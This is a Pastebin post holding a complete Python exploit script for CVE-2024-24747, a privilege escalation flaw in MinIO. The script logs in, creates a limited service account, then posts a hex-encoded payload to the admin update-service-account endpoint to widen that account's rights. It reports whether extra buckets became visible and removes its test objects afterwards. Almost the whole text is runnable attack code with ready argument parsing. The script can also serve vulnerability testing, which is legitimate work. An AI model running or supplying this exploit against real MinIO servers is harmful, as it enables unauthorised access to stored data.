FlyFar

MinIO < 2024-01-31T20-20-33Z - Privilege Escalation - CVE-2024-24747

Apr 12th, 2024
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 9.43 KB | Cybersecurity | 0 0
  1. # Exploit Title: MinIO < 2024-01-31T20-20-33Z -  Privilege Escalation
  2. # Date: 2024-04-11
  3. # Exploit Author: Jenson Zhao
  4. # Vendor Homepage: https://min.io/
  5. # Software Link: https://github.com/minio/minio/
  6. # Version: Up to (excluding) RELEASE.2024-01-31T20-20-33Z
  7. # Tested on: Windows 10
  8. # CVE : CVE-2024-24747
  9. # Required before execution: pip install minio,requests
  10.  
  11. import argparse
  12. import datetime
  13. import traceback
  14. import urllib
  15. from xml.dom.minidom import parseString
  16. import requests
  17. import json
  18. import base64
  19. from minio.credentials import Credentials
  20. from minio.signer import sign_v4_s3
  21.  
  22. class CVE_2024_24747:
  23.     new_buckets = []
  24.     old_buckets = []
  25.     def __init__(self, host, port, console_port, accesskey, secretkey, verify=False):
  26.         self.bucket_names = ['pocpublic', 'pocprivate']
  27.         self.new_accesskey = 'miniocvepoc'
  28.         self.new_secretkey = 'MINIOcvePOC'
  29.         self.headers = {
  30.           'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
  31.           'Content-Type': 'application/json',
  32.           'Accept': '*/*'
  33.         }
  34.         self.accesskey = accesskey
  35.         self.secretkey = secretkey
  36.         self.verify = verify
  37.         if verify:
  38.             self.url = "https://" + host + ":" + port
  39.             self.console_url = "https://" + host + ":" + console_port
  40.         else:
  41.             self.url = "http://" + host + ":" + port
  42.             self.console_url = "http://" + host + ":" + console_port
  43.         self.credits = Credentials(
  44.             access_key=self.new_accesskey,
  45.             secret_key=self.new_secretkey
  46.         )
  47.         self.login()
  48.         try:
  49.             self.create_buckets()
  50.             self.create_accesskey()
  51.             self.old_buckets = self.console_ls()
  52.             self.console_exp()
  53.             self.new_buckets = self.console_ls()
  54.  
  55.         except:
  56.             traceback.print_stack()
  57.         finally:
  58.             self.delete_accesskey()
  59.             self.delete_buckets()
  60.             if len(self.new_buckets) > len(self.old_buckets):
  61.                 print("There is CVE-2024-24747 problem with the minio!")
  62.                 print("Before the exploit, the buckets are : " + str(self.old_buckets))
  63.                 print("After the exploit, the buckets are : " + str(self.new_buckets))
  64.             else:
  65.                 print("There is no CVE-2024-24747 problem with the minio!")
  66.  
  67.     def login(self):
  68.         url = self.url + "/api/v1/login"
  69.         payload = json.dumps({
  70.           "accessKey": self.accesskey,
  71.           "secretKey": self.secretkey
  72.         })
  73.         self.session = requests.session()
  74.         if self.verify:
  75.             self.session.verify = False
  76.         status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code
  77.         # print(status_code)
  78.         if status_code == 204:
  79.             status_code = 0
  80.         else:
  81.             print('Login failed! Please check if the input accesskey and secretkey are correct!')
  82.             exit(1)
  83.     def create_buckets(self):
  84.         url = self.url + "/api/v1/buckets"
  85.         for name in self.bucket_names:
  86.             payload = json.dumps({
  87.                 "name": name,
  88.                 "versioning": False,
  89.                 "locking": False
  90.             })
  91.             status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code
  92.             # print(status_code)
  93.             if status_code == 200:
  94.                 status_code = 0
  95.             else:
  96.                 print("新建 (New)"+name+" bucket 失败 (fail)!")
  97.     def delete_buckets(self):
  98.         for name in self.bucket_names:
  99.             url = self.url + "/api/v1/buckets/" + name
  100.             status_code = self.session.request("DELETE", url, headers=self.headers).status_code
  101.             # print(status_code)
  102.             if status_code == 204:
  103.                 status_code = 0
  104.             else:
  105.                 print("删除 (delete)"+name+" bucket 失败 (fail)!")
  106.     def create_accesskey(self):
  107.         url = self.url + "/api/v1/service-account-credentials"
  108.         payload = json.dumps({
  109.             "policy": "{              \n    \"Version\":\"2012-10-17\",              \n    \"Statement\":[              \n        {              \n            \"Effect\":\"Allow\",              \n            \"Action\":[              \n                \"s3:*\"              \n            ],              \n            \"Resource\":[              \n                \"arn:aws:s3:::pocpublic\",              \n                \"arn:aws:s3:::pocpublic/*\"              \n            ]              \n        }              \n    ]              \n}",
  110.             "accessKey": self.new_accesskey,
  111.             "secretKey": self.new_secretkey
  112.         })
  113.         status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code
  114.         # print(status_code)
  115.         if status_code == 201:
  116.             # print("新建 (New)" + self.new_accesskey + " accessKey 成功 (success)!")
  117.             # print(self.new_secretkey)
  118.             status_code = 0
  119.         else:
  120.             print("新建 (New)" + self.new_accesskey + " accessKey 失败 (fail)!")
  121.     def delete_accesskey(self):
  122.         url = self.url + "/api/v1/service-accounts/" + base64.b64encode(self.new_accesskey.encode("utf-8")).decode('utf-8')
  123.         status_code = self.session.request("DELETE", url, headers=self.headers).status_code
  124.         # print(status_code)
  125.         if status_code == 204:
  126.             # print("删除" + self.new_accesskey + " accessKey成功!")
  127.             status_code = 0
  128.         else:
  129.             print("删除 (delete)" + self.new_accesskey + " accessKey 失败 (fail)!")
  130.     def headers_gen(self,url,sha256,method):
  131.         datetimes = datetime.datetime.utcnow()
  132.         datetime_str = datetimes.strftime('%Y%m%dT%H%M%SZ')
  133.         urls = urllib.parse.urlparse(url)
  134.         headers = {
  135.             'X-Amz-Content-Sha256': sha256,
  136.             'X-Amz-Date': datetime_str,
  137.             'Host': urls.netloc,
  138.         }
  139.         headers = sign_v4_s3(
  140.             method=method,
  141.             url=urls,
  142.             region='us-east-1',
  143.             headers=headers,
  144.             credentials=self.credits,
  145.             content_sha256=sha256,
  146.             date=datetimes,
  147.         )
  148.         return headers
  149.     def console_ls(self):
  150.         url = self.console_url + "/"
  151.         sha256 = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
  152.         headers = self.headers_gen(url,sha256,'GET')
  153.         if self.verify:
  154.             response = requests.get(url,headers=headers,verify=False)
  155.         else:
  156.             response = requests.get(url, headers=headers)
  157.         DOMTree = parseString(response.text)
  158.         collection = DOMTree.documentElement
  159.         buckets = collection.getElementsByTagName("Bucket")
  160.         bucket_names = []
  161.         for bucket in buckets:
  162.             bucket_names.append(bucket.getElementsByTagName("Name")[0].childNodes[0].data)
  163.         # print('当前可查看的bucket有:\n' + str(bucket_names))
  164.         return bucket_names
  165.  
  166.     def console_exp(self):
  167.         url = self.console_url + "/minio/admin/v3/update-service-account?accessKey=" + self.new_accesskey
  168.         sha256 = "0f87fd59dff29507f82e189d4f493206ea7f370d0ce97b9cc8c1b7a4e609ec95"
  169.         headers = self.headers_gen(url, sha256, 'POST')
  170.         hex_string = "e1fd1c29bed167d5cf4986d3f224db2994b4942291dbd443399f249b84c79d9f00b9e0c0c7eed623a8621dee64713a3c8c63e9966ab62fcd982336"
  171.         content = bytes.fromhex(hex_string)
  172.         if self.verify:
  173.             response = requests.post(url,headers=headers,data=content,verify=False)
  174.         else:
  175.             response = requests.post(url,headers=headers,data=content)
  176.         status_code = response.status_code
  177.         if status_code == 204:
  178.             # print("提升" + self.new_accesskey + " 权限成功!")
  179.             status_code = 0
  180.         else:
  181.             print("提升 (promote)" + self.new_accesskey + " 权限失败 (Permission failed)!")
  182.  
  183. if __name__ == '__main__':
  184.     logo = """
  185.                           ____    ___   ____   _  _           ____   _  _    _____  _  _    _____
  186.  ___ __   __  ___        |___ \ / _ \ |___ \ | || |         |___ \ | || |  |___  || || |  |___  |
  187. / __|\ \ / / / _ \ _____   __) || | | |  __) || || |_  _____   __) || || |_    / / | || |_    / /
  188. | (__  \ V / |  __/|_____| / __/ | |_| | / __/ |__   _||_____| / __/ |__   _|  / /  |__   _|  / /  
  189. \___|  \_/   \___|       |_____| \___/ |_____|   |_|         |_____|   |_|   /_/      |_|   /_/  
  190.                            """
  191.     print(logo)
  192.     parser = argparse.ArgumentParser()
  193.     parser.add_argument("-H", "--host", required=True, help="Host of the target. example: 127.0.0.1")
  194.     parser.add_argument("-a", "--accesskey", required=True, help="Minio AccessKey of the target. example: minioadmin")
  195.     parser.add_argument("-s", "--secretkey", required=True, help="Minio SecretKey of the target. example: minioadmin")
  196.     parser.add_argument("-c", "--console_port", required=True, help="Minio console port of the target. example: 9000")
  197.     parser.add_argument("-p", "--port", required=True, help="Minio port of the target. example: 9090")
  198.     parser.add_argument("--https", action='store_true', help="Is MinIO accessed through HTTPS.")
  199.     args = parser.parse_args()
  200.     CVE_2024_24747(args.host,args.port,args.console_port,args.accesskey,args.secretkey,args.https)
  201.            
Add Comment
Please, Sign In to add comment